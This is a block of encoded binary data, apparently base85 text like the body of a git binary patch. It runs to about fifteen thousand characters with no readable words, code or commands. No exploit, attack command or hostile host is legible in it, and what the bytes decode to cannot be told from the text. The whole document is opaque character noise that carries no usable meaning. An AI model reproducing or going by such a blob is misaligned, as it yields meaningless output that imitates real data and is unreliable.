zkuH>9nj}}(|45itN$GCWaLK~|^P_+L(*LpehJX8iR`2Ti@%k?%J-X<)cTrbYxlcdoT!O>= zboVXl?iwDp*z4@~4*R`#mJ%xy)xJeZW#T|-Ze`-pu5@+(qC}x5yGD~Cip% zt|t9AUFo*|xs}>@cR8({J4>O(U1c6i{IRU7Ot#lmm=?x|%X)jGD?RWQf!AYzm=iJP zguw3R<;kwfJ z!;4+#bpay%fPe?-bKGDRJ*aeoMFM=hO@NMWVDOdM?EXALWN3#5ygUv+Owhl z$MqCSRNpKOh92O@e!B&TqQ*xPEAW&TsQpw=a3GXdSI58_Z(zV17>Lp92|THcYY1o% zt7{mgmsRy>*WjWqiyT#j0o+RMRZAk1heEgFE07BiFajX<)O&Zp7*FEuU6|_@JQ|xZ z`XPEMJ6x6O3n5TD?f_P5Z##e?pb@W4#h9r}RFo7j8uq*`XcZ2}g zsckkgu2-pu_q!;wD+Gj=N^K8GA|?+Ib2!FWKrwYgw(`^=dllEuQ_6VMD+?u5ef_df zy#=iLBe60I98;-Qe=R`E$DM7u)9S?_YjKz1Y>7XXb#;5^1-vrQz~b1EB{8rp1k`!& zBW)jgBeZP+QFnUC7)wcw-66>X#B7Z*77)Qqyz4Ovd`2jO=<5&nrqxH%`m<^E*$@qZ zw?$J-u9_=#mCYso{l=jt{wa>WhTOazdZ~YuAVbUb6u2(fg1ewu_5aFwa zwW{iP+E@bxE`|avg104ww`Hw2S^q?thyY6}Q0tO)7O90h2agb*dN(B@S#S0B#7Bt+Jk3 zQeLx0y9P=cA&){-{)`r-^F1UfNoG@MO6i(ava7?dnf@hAYiChsSAZwk2AH z9#q_%EY5?9J12|tAhPLv79~`4Y^*;5Bx}Y1TdgtG@Qjs8-Ia-#g_}}WPjAxI-J?KRFjOX9 z?a}z~C?(xPfYe{=)oXff4;g!U0QcISa;Z1HR!Hh8m3q?EilCd z8SZz4+;__fQc(d7f%1Pqocf=CpQIAA#|G+?*k@{15;Kw4-fq}I4@HwSEy;Z7xBJd#@okz-gh30A-1}IdO z0NK#3Hv0{sV`B;q461s|e_m4V8?aKbxb?o;uiis}2aYIvAM7w(nRszl(p5GD$p)&< zO{?=Y1R)GR&(ibG=r{s@PJ}%ODP)SDIa^j*FRxoPd?N`y3IQ5p9lkyD3>aGEZ=;>itvH?hUB+>T&QP1tZEkAhJ3PK!OIC zfD(o?az9Vw{s=Yg-v)hwHrlY5RU+cB(d$0XI zXunL}(rUB3NM_Y-*fR*scV!@&hrestGm+bPtxjBUg_gj_#f=| zNvlH1PulBC_NuHe+3QpMHm|hsPpP{46AS;u!p~ax+1V0;)t{7AMr{%`@$UJhLEx&s zoK|17#&@LESJUdlY4w4$`fCB6R(Dv=_f6hN!dResOl1uM6+9M_JWzcnCaJ=ANK&_4 zT$#aYrPRu^B-Pi&%&#hJG0S7j!)blF!Tn2%Ul!vZNbAci{yB?Z8{>a1YghaN%wY7G z^}M;LG&`-nX@3G$Jrz{K8hK=S{l++6saD}{#6yaF6EYvRNDaFbmf}?E;yJ6jjre2> zA~DbF5`p@JAT5>B>dV8z>@mtIQhY99aR5k^Hu1jF^y6uY;Z-m~2Si#&mMF@Q^KM#S zBArHp^h!7KMK66gp91|d5vqUUZ7c>P9Aq=pE{@N1m6(Vku%@hB zXB#G2p`KxsQmly?d+SBjlFRB3CP?k#p;BL2{tNZtCwMUi+?gQ`s`ZtH3~1O!MJSwj zSG+0Dfpj$rq&8$@yd$m2mQH!C&6n~NSV}dp6i3Hvsr}Bi-yx7to3A7Wf`NG!IZa4I z5^EO9H7(}%z|Z+@9G``<9LIi;Q6k?#kIXZsCCm#d6F;AaVy>-gy~lV{Qi?Z3HzKJIW|g4Hbcs@sRQJe32Dd>DeCpy z@=$43xojXyLCbF>_mRl6hX&-)k#~nK5f-}pTQ3VrgPOQ{rtG&exvA3ZEfi|@j+Xjb zu%1vQWH(rvy%F3KVjctX#B4LR$fiGmN@i?N#$a-G)cHq(%kLdjr>H2c-Z-x`OOg5$ z)lyaS4gGmG8^1R~6U{dk${LT&(azp&#W(6Z@YZD|rm;qs-NMhrYx+~~*FmT!4KnvO z+SOC`%fxGf+?YavP#6uXG?uq3(EE+4LDK+jL=#hDGippdt@re zezgA<$*z7?69Ul>amaU`J>{fF@%XBqW2Os0_@) zRa_L*Wgbm0jQ7-vTYw5&;E+vqSdzNrEE1YvHutgWu84zF=cCRO@~(Irnw?bF3@`=J zF((oKQ9?)GNoRhmz1mnl1j49%Su5VT7s-d z0Fxdcm}7%;;A5I#?ngj7m;!8?*DIqGgJ?$o4e(R;8AaFZQfXkkuX5lIkio1(*8ZIC z(jqk^WvMws*O-w>pD4%kqz69f9*}%g0h#0v4wOpe;qrJ{bjH*}&qYbE{>{?AlK#!s zzadoFfa>WQ*VIGe;1kW+)PQNpre;N&sFSQFnXr!cbwj5E*53F)xp$yze1ORxXc;P% z6h+d2YUqcr3?_fNfJmH9rIU}Se>7IUpfq>9Z@h1~ zyQjBrR;k=SFgRPPUAE10Y3&gqrFNh)@k#f1pH?S;R&0a^u=Z$IPrpPJbUjv!MFo;Oz!1XJN)$IWgjwj1neS07#?Fh=T`2 z38g0<*ZcfwC{+Ro(nPgSkF0`ZSXsLTtZKMTB{e=83b&jXR2ZfNn1IR}saSy!gK-gp z)W25syGde0XdEDOQ!~revgPD6tI8!S-`PM}V%Fr6MgiKCM@SV(i}B(luDspu@oQ3# zzzh%f_@!BikThKC85A%B`rQVnY zbsK9ogLAzgSHITCk0OPpfcKl)fOKHt$()rAZI^m1IqxrtP4c|^iqbU1g!?f!PO8_s z>=joPQW$E%Z!8&~5Qdgyg{|h@R?5TISr~?1Z=rMG&|o)WNFnZA&U^Zt)}n4`LUMOn z{=osz3jkpi*w%E-Bs%CIV|E4T=R_kRt^ph0y@|7Q()>g<3)hYb$m(VT(u6k)+t@2z zO!B&*b(2e*EQi(anK6A3Is!!%Y&8uw+8wLtnk`6zUbAIoTT$p9?WXE(s_v$0TX0s3 z)X~bVIoYVSrpSYvL&enBYNge7w+xvwTKeENQ7jWoAw7OgW_LR%^Yr|Tp-UYvFno!*d(>$9G+%>DzrK}HO;f#pE=b(#(eiiaRiayFK z0gKPF>{N|jsb!&d%VGg7EqEaUJNvb|)Hl+#K_*zzt0jh!u7LsBL~42hcS_PD2e$i` zD%E>TP`;z}3RynyWA0S>C(T`>VQwU6A7{SmMm5TO&bk2Hz3j*-9i5f$qZ zuzw72!_>I;5e-g0H7s{lW%6gCZmkWfgytS3jk$m1DR)|p$tzf?{oenql)V_(?`mZk zd0MHy7YFaXZf3`_Uroz|{uJ;6 z?Cxd}z>FYkRyEfCB(xq6hOF%jVu|5sOgVaWX-MhnfXqY%3QvJtslVX3QxZzg;1X!s zI76D;`;6En!~?$75jrHFtLBQe=gD9NJ%eIw4%RawFZ+O z+-Gj&56st$KeaV@`bi#>@lcT2?j%qF6J7}B@Me1E#_4B zhO%;c8xDjY2O;26E=1o_B`2lHJYmoo9)Z-7blpo?GWsB`_owwC{rS+=E>7#h;Nxjs zTao6c_3^a67>cd;qb=*^L8zPOz0OLq9A3Y)WOKvU%?)3lZ!zQcyEww|wu{BL@mXuR zyS^l?zB@}gZMZyqMQLyxEF5F8<|6Qa9M$zWGTDeo7daMXsEp$tkiBoJ?%#nyJm*h`45?S^q1 z+gSdtUr8UHB+~y_jHqAP+Nh;S4UA{7<*k=}QHKiam#{!V;Bo~`D_=p}n`rrRNsBJ8 zMu8S+NNh~$%E8A}r&KMQ*G?V@R|&rH4;h(`g@hKSr(Z|lF5P0=mpg1;n4>)Xj}GjXk4 zO}=CuxhbvR=v-q+zR`Yfvfm{#EJR&egEX?}P7jKH-c~n_B>Z=e^>L5Mp!(0i-*Viu zZR>x60TYT&BfKCV@6Eq2y#7NfEt8HPSj@HdN?X}8YGmIQT6*Vm3qJx5zX zvvF2m#H_XeSiejFYb__OYX%yIS4pF28Glv(EI1724<3%uk=##MS6B58XeOz(BuPYR zT?B=6jG2>qJ4b9KFMKTOiIQQ89Gfdo5Hw}9A@1@c^Ck%EX}ZqzAEC z>IYPCJL?bxHDg;PXRx*{0n)+eZJJkSVSxhmdyNY3wZboG9-G#GYWZGJe5L+CS(XaA zUqidx6zqjjf1=molrgKD~L(2>bB* z(s1SAYeK8U&?|u~kw^;4>aQKZ`U_KPov*fb4;V-^DQWw>9ntqy7t%uu^cp}G6uCSzOBKi z)EeTEh6XCYY8l_7HD$CRRRU~eZGNa2-mO<5^+Tn8Xa#0#Nv%(B+QOqhpq2=Tod}V< zf_8L-4a8B~`1336N42p&BA`?SFMv`%*M7$qYNuE2Lw01T=?^hVKhz4LF-s_6cDqIU7Gy3V@`ccrGX#yrpQB#9VxZ2BJh`X) zv#eG-5zu#K)%b|)6h6-spb33hV}?^b`IB0#F9|Zgu}uMHV~uSK+F+ye@D`8`vt(PT zJ%eeghnlU_PS9F?jU@3WAt&+znuL{)n-C`h>0xT5Aa6Eds(s=Vp$PR#`LNFR?$MtU zO1I5xs35#6V<16AnMVogI-2XgjrgsGqjTc89~CGz?gT8u?Z$>J6KM~teWS@3Y1ISs zWboDRq747BK{BmBr-5Myp0+$i$aDz z{-Wsx+u&AzS&?%YrIxO-CbR*FOwEVIXKMW}&1!{nS%zt2Cx{K~;TB6Pc32c=8 z?RBzRak12Q$`K*NydS2o*$yZ#vOw4kkf=HFL=Gxzc}xu%Qq;a%!>>pLTAjfX8;gX} zTvcLwm2cnb%W5^G*tV@^%RcMx?`H%T^|4{4yYDm6SzmiE&oEG{ocy)-6tFqM;TSk- z8)W5}kz|pRNj=;p3Q4Q?1{$pHV%u4LyC-R*LvQ8KqSm{;UeJ1#=g{*BQgfiV$AE=y zxeP~3r7=%V>%UIx$23-Ba`|b^J5hvL+{Y9!qR?*IuCcUPHAuSkdu_LYi zw4By8zZQ!-e#r%uNZ!{*|C0?RsX*IUT(i1IMUx#vW@c6R;~6bUxCxa z4mK*b!t~)?2_8Whse6YyCS&+rjerjw5VOq|o&A`%@~pP&eMYiZGS_;a*8h~&|0vl1 zH0Mdq$|wJ z>hEZCaOg)}+e&NC>nMS-eEr=h-QG=WFGM=3zpG7k^rx=Th}5hS{vL`}A4Z;v7vQUh zO>3PidXglKV*9X^or!G%YA0gyVMFrj;_I5$tKsgj;jX?stuH4xZ9I@xpTp<_!4Iq{ zX{z=>M$D0nEssw@pgDs__|LI{f;m_oFj&^d#{Ko$)+?Q^U9G^EwQeRv*1kJ57WiCHvq`yl)Zi7A8N@sM{)wWn;{eo}HzLeI0Ba!2V-T~r!UnO7)NpC8J+LYam< zXUiPl$RLpCWo@!R*;kCb`i+;CEt8u|^9QRZY&EOxw|a&&dbU^lmk6HfvtEnMG^l02 z)#6UK&al9G0Wn$_y`c$+9AZAcd# zN0v6`r;YKnvADHS&ShJ}+ovyVw8mm(WXpNrd9}O*p;Eh?K=ls(%(4LT+T}(& zn_HRfb!+SO($b(S9gV_A(_DW(iP!i>bJ?Co+;{L>zszXM2t)IlL##J4c~XxKvStm_ zABmhML@hE-vp`UTjI`;){T!Jv+DvOApRnz?dvPgswSSv=m-GXkX*WPm-wdfNH z@nD_M2%jjY4dG!K)gtpx*zlP^Z7kCqIG@F(OXEsI>Xj;Fd6(0%Mr7#5l^~_QU91dr zjVmQFJ7LOrAR?--WgLjN#X+|2FA$~vZFD`jGFIuC(#Be&4rS7O?yz`y}X%_)G}+?9dwrG7xw!rn<%*g>}IuDBjB53 zm=BYs_83A1SJv?{+eZT{$m-WBjhX5M^;b6Y*cTCO#69Spw50{NpUqCs71dPJDqs@f zMz<4*`cAE!2q0jS=0kTmZ1(j2Kvsv{QL9|JdKvYbfz%T7^9oHZtm|(ZdE%Ks4;|58 z(a*24IX}PN{A3oS+*%kJ(Q2+6m(CZeSbB+BwVYXOcM7CvwC1AV#QD;#Ei#=Jz$7_Q z9+W{8lbkJt2K6KW>k~OcyP5+3yHoL6{bR?V|I*1rPsC{@xB*!4;!`)nJePZL+#~WF*a7YS7f|Z4o!qsUWuIkN~LjuWg%b?HQK9~id9Tm75hRJ z9FI4j(Nv{zj%6WWRqSuCVt=e+zg006s@NZ^*k5VPu`C3vipSckaLuod9M*1Z^kDrm z)dFR-&zfV&XF@AJQI~P^c6-WhYf~w^HG9@FH`7>JuRZfQ=8_@Cn$cjhE-#ZS21Ej_ zEbSFP6DxiuPRpMeUaCb)gUD*=v=KlFtYNYrp!Q7I>Cx-U+dsoi=`91Q#~>@p>-O%vivSwDLjtvCL4u-tKeqZ$5yH zpBtKf9(K2+9OPE}-Bw9>@dM1-_AI}3xzgB*Lup)ImU1cS?&BCXDs=J~G}5QDd?of{ z>#07nN16>`jhn=Qf>ox55uu)(utIdHjjpJQ$q zGV&Ty)RvXi)7>cfHt@oE1;xj3+PGN-tZFTV@xm<&Vkh>sYNnufgPHhciW17?bL6TQ zL90y4LZCO)F-C>j7TVQcx3aO|{I67rO1=W8~6S?_0u zUfYXp%kLALsEz>$zj23~O?N0{O!-hWp3K5+>@Xv12dT_fZ!_x0`N8bEad+C-mDc(O z(#8%YS0>-oLHUus0g07?5uukx@Np?>Af5aT%SV!)^Gdk;j3Bw%ME?lu6g2|$4SDKK zl#xf<|I@}1txWPFsp}j}0=X_C_J${JE>H%e8 z0YiaWmrfts)F7)_a)eW{%+U_LXEW9Lt;uTI(1cSPJHnh(#Al`V_5~qw=me`CqA#7a zC@EEq-Lh(ejyu^HZ1}#;tPKRiCmA^+Yl3T1&Dm zf{iD^@NjA2$7=PozP5 zb=s!Vc%oAMZKd%z`KFRs;S;{*s1;e;alt&nV1B}~^@4r1#*C}c5IpSX)PjQu?_TE# z1@wnM#Vnb|y>tLbEg%Czi7bk^jQFga#7d9b&fxOMbUMqXOrqSz(@^eST}&dcxrEe{ ziW4bL*(!r_SWUXDp&Psj401Q_#b!W_kr@yODXV2>6>WGpf}vneG@#b;)TND|`bH%M zP@j8Kew)iIJlB48S%jEY4m@R)XY8d`=uPY}T{lvFQ?Z~btiJY1QiBY8JlWMJCREa} zHYN6o_~g5?GukhUnQ^Jwu88wQwdsT|1A#C&AwbxF`{iZQc0_y8Hs*evoCpbtPJ~!S z#f2imjk4>EBk0w}izivVk?dh?Yxm4&H)&RLCR-O z9DKoURJT}2I}8uF0j*iVK9fIBF=361(T$^(#?eS07JxnoRJHG@aa4;aB66WjyOtYA z{a^|=p%AMxE3m33$(>)Ql%kdQQKo{`vP^cY_7kLDpO32pi7odL>=C) z#k@$2RRVWbv_W_BDXC3L<+kR^ku0nGBT27F>aT{$LgQ82pVoL)ixEAmwAwqh+S}5u zEfHI&y)`GBT2q<2S|)gyL0nKuD^u%@PN50plgW>AW$IcD+-=&ss2g2WA=kIOA8)@v z3fhdGtwJ=fwCIUm0y!h&enX)4y8hhT;N1);IV`wr3)5lTs#-cGULJ*CDZ5f^PZf*o zn%Y-t*9u&%FzUUReK#Rpu8z_yEl}%-YVAWUQft9lCz^$Qt#+#|AzACcaqZj}x)E*1 z=i>8f{94-j3BBoYT=L|&Bv&g=0#i}P#KOjTON_^l(Jn)%4Qi4Ll4!qCCLTkg!=O>p zz00KXq}#gev3I$OrVUm|HyY?p$HrJ=oSijh;wFJcp# zn{TL6m0Ks|oY0@d5Y^c0pe{>je8iv2CYqkmH7@L9Fp;GAVPvU@&DLA1F9|%;UMG+i z%{K@?Vv<9@gl7}~$ZU4S)s7fQ+8c*aDgLQce zP<>;7SI5XZc63M!lu^=*_6EjN|0Q5`*qMjU{&A#RXO+QA%fa6q54_VHH#TYNbgHj) z+%`O1{io9E%G7psK?RWszq4mY2to=P8RxB+P_KTXJ*n@eO-bjMVirXyi$w|V9&4@% zn0sPhr8y)F`-te(FeCWoOHq0&P}%>MWSHh_8Ud?9&{Z1mRT_U30592WFKuGSN^;pT zeIJXMHEm>mX0;%wo2klC1j6Xt#f~JFHd!lBD>ithyQ`LC0PXc!zZ1AJssisg&+%6Pzh=Redy;HJx4b`IFh<(UJi9u91 zQ|zA{r1VP?uK5N58(5#j=V%~qC4~k<>DZ@`WCIP`@7>_dN`UCJUdJK-Y#6`}vPHcq zr+e+BWpi#>E7856MN=-WdVqtq-MkeJ@b2AaICyhd5>IrK?%gP<@}|o6j4sk8BiBI* zl0-^r&X;1d`UFAbDcKJ`3nQN#6LSJ|tqjZ;JnfuVHb+q9)Qab0Mq>@RNNoX0_ukmz z+I&rsle3yyG5MNWk%ox0*=0k%SoDf8W8ej5?VWz8(+&teDvG#7`4*xb8htuQ(BU%7P>}BSxW<1dBrBW`74tbR3?|& z--&ecy>3mZB#eK~ennNHPWzNrdp~K1Ubi75tf?h&dLT`FQZ*(ioHQH}7wI?8ji(pI;yXA^) zVd%E~fe3}$1sPJo7|zqwJz-kHn=*lbCs!K*Pp*yxeY+F%?JS@+k2;P8@}5fbWBs!K zL1ZO7sas8ppS(=*>bmYOYK__Cxs}OtAx&MyBY-7BJ)n`B)ZVk6bn+9fEjmxzbEYQJ zsfHuT>hw!vRln>$Sq9DHt!t5VuZ5;yf`~!T&OWix-u=o))^C>PRi^e?l7@M<>ehzz zef!n6%n02`<1n1?_of^~MwGKX>$vKJI2={s+FGqfI{5)mMAqy<_*_@^M9P@WcujE4 zP0VtFYl#udiWL-|Y&R|e3IQ_&n{Rxv>n&q14Q=xf5!>Kzm{*}JxMPRIk&)iZD> z%vj&m*EbCI0-H_tw$O%sWqlI9WFe{;e=7gB{y2JO{S;I;GT3Qz%zxA7If%>Xbh8v9 zqOZUrT*G+*AZ|MJ7X;$HAQ0~bnjeesSV3nw*7GYy>nJKhK&#oI?9xznX(+oiu<^wq z{^AgSafn|P;#YrNZXe{G1rHpE{W;x~o(O(A|$h~FIIH;4GmqsgUO(4V|4 zGO?NH;<(D>FN8k*>g>Mabh6){{%b6^X@R_ZB&LOJs}{v_OJ#CRrFpA?d249)*3j&& z29BhmrQR;5p`0X!mfJ&)+jUu(YYIt0U1sH}+e7O1(4Fle{;m*zSBSsM>Xiz!I(LTD zol0e9BR@!x?~xjVps5|#P1|f+R?nHIJEVaYd?CrXtlUqD8eN=F}s2jXl!B zpOL{m0rDu1cZc}hA%1u0%bpOwC&cf$+OFC%o6$tIG-X~E8z)sJSM%3gB;xnsap7Q+ z9AA~nz@Es@)dY~At4-;&1in@cJwal*xzmKVw7(bf05I$v3H~@ko=$MgR*qn(YY{8N zenyTtgCM+zhgL#tiXyb@Zbq1;5qjMSy>5hF?+fw!Li|3v^iAUGR=c-ElFN!ug=|wH z+my)%oRB0XwF-JnqBO&M0A^zzQ|FqTr zOh|nuq&^c;e_^T5+wTkZd(?h^1q0PyN%z{q)9Q`5Oyi_N9;5-SCX4*^Z(L@DZq>V8?`!nF#>7n& zoW}!j$3uUPYe`V5CJ^T*x*O1g=)5HMQfkO_q$wy90@_}01mCm(wEKxQg9b51umFs} z-Y^*wp{G_;3^Pd0x0IM?Z)-#BQknXNs&Zu(d72hV$t_eVMo#gVWfZ=xu`j_p9R^@bn*|u=0L_MLU}MbLKzjHCKFHP;z`dx*&AYdC2lm3d)H_x z5R%Fvsq9rva`%Ti9>xqiF*Egfi$*?SvuFrt3L)lNpDTo)cT(cBWo;_ifSeuLogLbp z?I5X+>iUp0CnU`YAkB$way6#4NgxA@w*u5eSYzQLP43S`r%j&I!pONH=G@T6xuNZ` z5I+{;$BYHXLh7QBx+tVB3h@_&_zOb(1x|TseN#I5p&-$3$hkD+TK5o)CXe zh~FLJcZc|37ftR7@q0r2o{;~c5dTn!f5=8+BBV}))QOPV2=R>&-)N1{z7Vr7 z?ho<%L;U^_KNaGqLj07q`&dYQETldb*paz@NO~e9JrN2%5#oOw;(r|Ce;ncuhxo%G z{&0vt65@}9_@^b`^G<}2?dg#1=~hpl2{F%vg3pAUKM(Og5Ai<_@xKW1zXg%fCyhE*axcWlgAyykgo)e?V#8l}E+J#^$THk+>(Q^szV*B=s)`GS6`)hOK z#5kSs*BU=-x-7)KjI+^y+0$^d#lOgrfrf4_)ym2HTBEtdwg{x!vfWs#ZQvWTsx~MO zYXcJYYDiW7MAy9ILasidirMfRAW?O0MF_;90*tt28ym_Ls&AxF0b1R5C6i9;Pq88i zQsA;xX+zryX7!j1vJtplGz9GeK$=qy3EA=vtC^Ges0+iE3 z#&)+Z4b@C)b(kaKc+vcR@;&pFov`eW$%qemWwe-y@mOVYAA#oWSwNZOlqpO|^e znmB{l3f^Q@lr^BqIhCmsm&esi6^)`kZMFex)Lv|(Bie-lXxQqhM4iN zdf1?$S{&hs#)1mg=Unrv;8aL^_p8#MuRl_5zlLI(7BH{ z7Si_(a2pz~E81_VTvzR9BPJOIDLxusuOXzVf z7^C7-#q|fUR+W&~yw2(}T&rGitvxZJ1wRATUcVNgH3aRkaGV^L85k^!AQ5cCwhsVP zy^qNwFK2|IGW7|CVv`D=Bg|+r{0FhA_Rjs*xV5}e_lZtt=~llonq~0RN4x41gvgzr zuq}CdVKpW3E8kjnn% zUM8E?8WjX~3^Uy@c~Fbu6{}kT<6jd(6|TiI zty;2+ckvFc#XFr^T!pI06y7B@xE9xvD!ks$_j#W4-rEQ}`^Ww<@b-JpdwxFWInQ~{ zbDr~@b9A(xHAt_G{FT|xm={cF*Stom@hcjC_z3b-cc4M)oFcMnwOkXM!)szF9OGvm zVhL)NtuAoa`Vz)4BJOcEZHe3J377wH6%E!rpJhnr#2*49-9e3zm06DQX86FH^7P{i z8X#K(hcN)pwAJi1O!(Wel~z5p$C#Cpo~PUXe70Aa?KOL!MJDs!GBWpH(nQ|0wAzt1 ziMfxCv=p@ECmAd;@j)Fhe$v*dHfQyNS^bo7uCaDFLw{gOT*lpO{ES9v)?&tWpaTyx zan)*K7sOLz+mxve%^_(-BbzG|aiGo#AC56tolWe`S$oGXl~$8QYY~ZU&|Ez*vCCjq z?UM&IARC7C>EXT-?kR{M31ni#pc>QJAs$Hvb%Lidt9dGK#wSKumYL;CoNqF|QNb&) z>D&!%Y5<0&K4p-`PuA%adSZ!@Xl_^6M8<5j6vP+G&_Ws3SfAg z-GW0BUiFN18J6$5*(V=#aD-oYz&Of%o`rzXlREeo6m=T6^R~v1=o1#=4ojZ;$B~C< zr6?OEnO5Kwt`2Ie8CSB|ZEb$ykh42&l>(hwZ811eZOL|Tk8h(paMy=6Z+fEIIh3(< zCUF}jI2Vrk72OSm&+N8r^er4^lVrU0XSZAF?SY2gLF;Ubn?bKsaRQg8V$uD*5?ErD z2XrfdWha%Mr9%Rtnp&)f8tp`Glz1E~R~Ffc1$Yp(Yw7NhT`u|ZoMl5!>gZd2?T$6i zi9PB<nF91;j%#z(x- z4U?+NBPADMm5q3{MYlwrlTt6R5RZS5i_ae->i8Ai)#k}~18OAOr0usXz+?TY3>2m& zZ{g<%GK##thkuB91&LQI=C(*l0mSXVO5W;X)ud9SP{xK;eZn|9)g$oaQLW>hA8})t zh3}dETzC}}0zo41mHU7~@bC0bG6ZS(m+g`^&o$l!ygMEY>t}0tBYja>^duuV@d)9B zCNthVsPS`rP@n2j=1@Ix_>f}}>esN&6_?Cvie-x3+1+Y(`}_nn%*w&UTLfvDm=g4u z@JLyvHkVWt(bKOcsV!fl05DXrrD~c&HBvru=uf79(H!IyTueZq!mPWICW1?ej8-tM$WoI`y#mzqQx?rjbrAgy;`MIt(b{)8h)W{;YkD0TJ@Y0Ot`Ym1yVP??p%Ppiu<33ua$ z2coE;WlWdRQy3S}ITiJbaIPIPL7m(|wQWhdFIf8Ic3Z2Q+%C<->_HEGJ7_<1ZT5QO7NtEY zOY}`JML!I|qE^OQwy2&DTRuDdY5@r`cFU=qLo@agiYjej($Dx$%9>;lD?rb8t)vuG=ggeVD;)L7cn49AYDzmRS3??py+#%JONz)LN zJJc_>YGk2#+pS7pU3{(x)L}tjh@H=mDl(c4lD5ro3uL@!BHpY z#(M*qxy_w8qDdT!de6=!IqZmy*0U#!vXrYZtajk7n4=o5OjC9d$;c3)kq7$Um*Pz_ z#~Fqf4r@TL21;ld4pi81$cgbv4#pg5Ru;`KJyY;&ciS->8lNq%;ZoL0qpm7a$m)Bo z&+XHjM=isfkz}9T^#0i~lUWP`wXHP_15>(^&l9!;2hYde@AGQN-Kl7(Q#>}@z(%4| zEKrHh_4>uTt{9tktXN)PSub9K25Er(DeKt(lJe|qwEd5~F%lvHVJ|;Qp zCPE#&Rj7$j8eAJ)P+Fgak)R6lc|H^S6<j5m70%=wdIeZ5w&^DEDHZ&#h@)!j8F~_Ff0?oL)Cc;6BbvFZ^(y!P242tx&>Dy z&Mx6M8{f;D`ni4ZUAc{h3;ia}F$W|!wU~$wNjlnEpHRRhf#_{04~(U;C|{XC&{%pO zCW!U0$*MGtk&R`U;=pU(m4VM*JPT6ilNpVUd)ny+?4IPPjYPA>{%lq>tPvl zSCc@4{VLb-)7ki$tiIpEHfNHFw`e#$a$f29vCh9gS6f(`R9zcHq7ov_0`M4w31$Z= ze_NYcG+(^AQkj)qQ)S|kObCoK0H4HDlLy@)T3GsYX@f=~mqU>1T%v;sPwud84;lsy zRfCL6J{isx`g^qN7c!#-r67VyFdW?S;sDv8rV@9GBkEn5EKg4^ZF@*^@3t)gxnEL5 zMac-LUiid5Br|7V;+OShlcwQNt`ei-6Z-~H0^1mxTQLFrC3+gusPUYA@%dmr4{}xz z)S%cca*=2Gx_e!sayCNyZ`yvw~lokx6I&WUOf1cfp~e4X(uHsX+`62FZv2zd=DX35ov{82A6; zy0GD8_3xM1Wh|WhQ+c)8$6LbrdcvfUvenirXrXrxtkK#7hc~jZrgQ!3&zJfuvsWV{ zazP|eTSVK4H#@(k5922e+MU(MAP*&>lQ@G*=vv<=7IIwIBm3_sQ%I}Xi_B@ z8x$&3%K+TKH@>|B=66@sG7#sdg1$9cz{E}s3k(t#QtHcpTKZs=X<;oiCB9-rmmsp1 zX~UWT3V2BluOkAGTC-RaP?og;xrsSjzcSpL1k;TsC!0MFPE$R=GfRUsomp+QeWd}l z+vM?!NG3At(s->aM6AzpU8b0u2r12(x;u3Jus1!5MWY1()##(W_6&74ehBQ^@<_dO ze>=7VFGi)|j+_QlmMy&e;?A-HWloYphagEc4@A|L2TT@HpySrzmAlj7+^wFFOFF3u zh^EIxc7c40#*JZG*d#Ohi)AVqSTSwNmXgsIP;@%_2p&0G`cP$--W7UPjp`9qMA@nj zjgXo(hFXM^fW0Gf;(aJU)n;$fSWyDVISxYKulZ(LUo>9@o6Kg?HR{0`*Q< z3UEb`oiY!;APiwZ=cR)U$?9*b+) z3FU%Y(wZ$CQHB&{&W=QSY~=K1D{E#2I(L;zN+j{T8nTX>2F7|ZpXOo(E%Im!eHen6 zy>2znOe+VgwDOcv6V;W`*?N-A-pFQe-XZLPk_+=LYa)Chg6+v6RGXQ+YfF*SHvkGahUc^P6{;)J42N3hlAHix2j=8OqBNA^`f6miL{X~Gp_AzF23K)!> zglbb_wq~^8#UC$)Y;mZdPWq13?F4`$Oe#RgQ^AYBUy@OgA8gh--pmjecTY;2c=RN^ zjXrTMt2LnlFUYZ5gX1o_(~5VeX&~Y8a9I=J_+^T$TWl($Z$4Y%XlZ;nX(iaOgm=v- z_f(E9a105C8LAy`TVs?qGXZ0|6C%RRTVbBs>pi-UQJbM}zn5N4%}5fn1KcAIXa1ae zR?=NPt9r^<2$2aB1`~%wG$0Nf=b8}$KEc%V=pqTUzl7tOEJ1=iX3L=0P95-I-YxOf zwicoO>d^%I$87dU^fhdNjSnYCX(U0)k7>&n&8lUuELlYNgVJ^&;-Z|bErNO@Z>VdM zRTR#W8r>RL@6rD2RiBDO#h3)!sT``A&Atg!QHya5~j#_;gvuW(FJ75!K7g;n7((IEpfBSVW59M>gJklvQ*n$XhXg(@pS9 z(m;eJPhBiozl3mV>hiK`++kdzk378zZNxlb%Tng4%$9jtKB+&O?m8t@H0971Eizo8 z;!bd>J6T1nbUIwY9_wbx>dI!0rayW*uOCXKsEQ+uIR4nDA#IaEzG&~0VsQ!@Yu?QEhscTxb5>{$2;Y_4{z*#$sZ1}7@1i_4`=eJ zKz(>{3fm;@pXDiD=Jn#+^W{@8ZTf@K`{h&Zr^UCV%(rCq8{x*GExZAmxi>`?s@Wz( z0gC7-)WGm6n~z~`i{b2sy{}jU8bUk?C5!c426)qHVxNNjF2hJF)g4Y@a-aH$ECt+l z#p9e(WMk-bss%cU}yb?e^~<9R`uE6Rwfd~25%Ehg9)uRFJ|>a zs+bQFj@6vOQ-+Nl8pR+%@9%=wd!F&bHs?yo7A%Jbr7}6l{F;R);=Y3}SIbcDxEF_} z-BKfkxT$0v>st$lMo9APzjIvY)*E%@o%3yV_x!Xk_fyY^3TnYZYi>u+s!CHkE0deZ z7c;lXLHi{bNCab&1jp5F7Aqfo2u`J<6r7O6;H&&&sAxwmjG&9`|c~y>Hfc`~!7SXD$%9E-uV&w@X^-f%kbmNOKvUd$f_-Cz5M9q6>OQ7 z43p9nDIjOhwbZ|fRf_0|t7o5ZE^Q6ZqLsA_pZrBJ)m{b<@oUQ(G03*nS7{l`lOE;S z5}(N)hhU`q-&?W=8+!rD!FP2O5f&2g&l>uzfQH5nWuJiyp%vEfc%oGMjXZ2l?Xk z>bkVZ32`x0QVBbn#mKq*xSd_g7kR#YIBZRx}iS2+>E9 z!k`Jp2Z{et2+G=)Aq7~Jl@B;|4z7A5v$Y3p+Tla?Zpz{eK*EHxv0M3MUVPhD!04*E zr?FUWNs=9l=@^Z*cSdn4)W(P#m{A#T>fvP1(37)mxGq$c`ZO7wZPT zY5F;+N==I zIc?>b#ba}N+BV;n>{_eN5}vNe;SE_|ULo3nGbniC@Grp1F%y@SSC7D%;=Cf2l8cKleRm4Iav~~FuQ^+c$4F+A#|nTl}xk3_hGYmX}2Lu 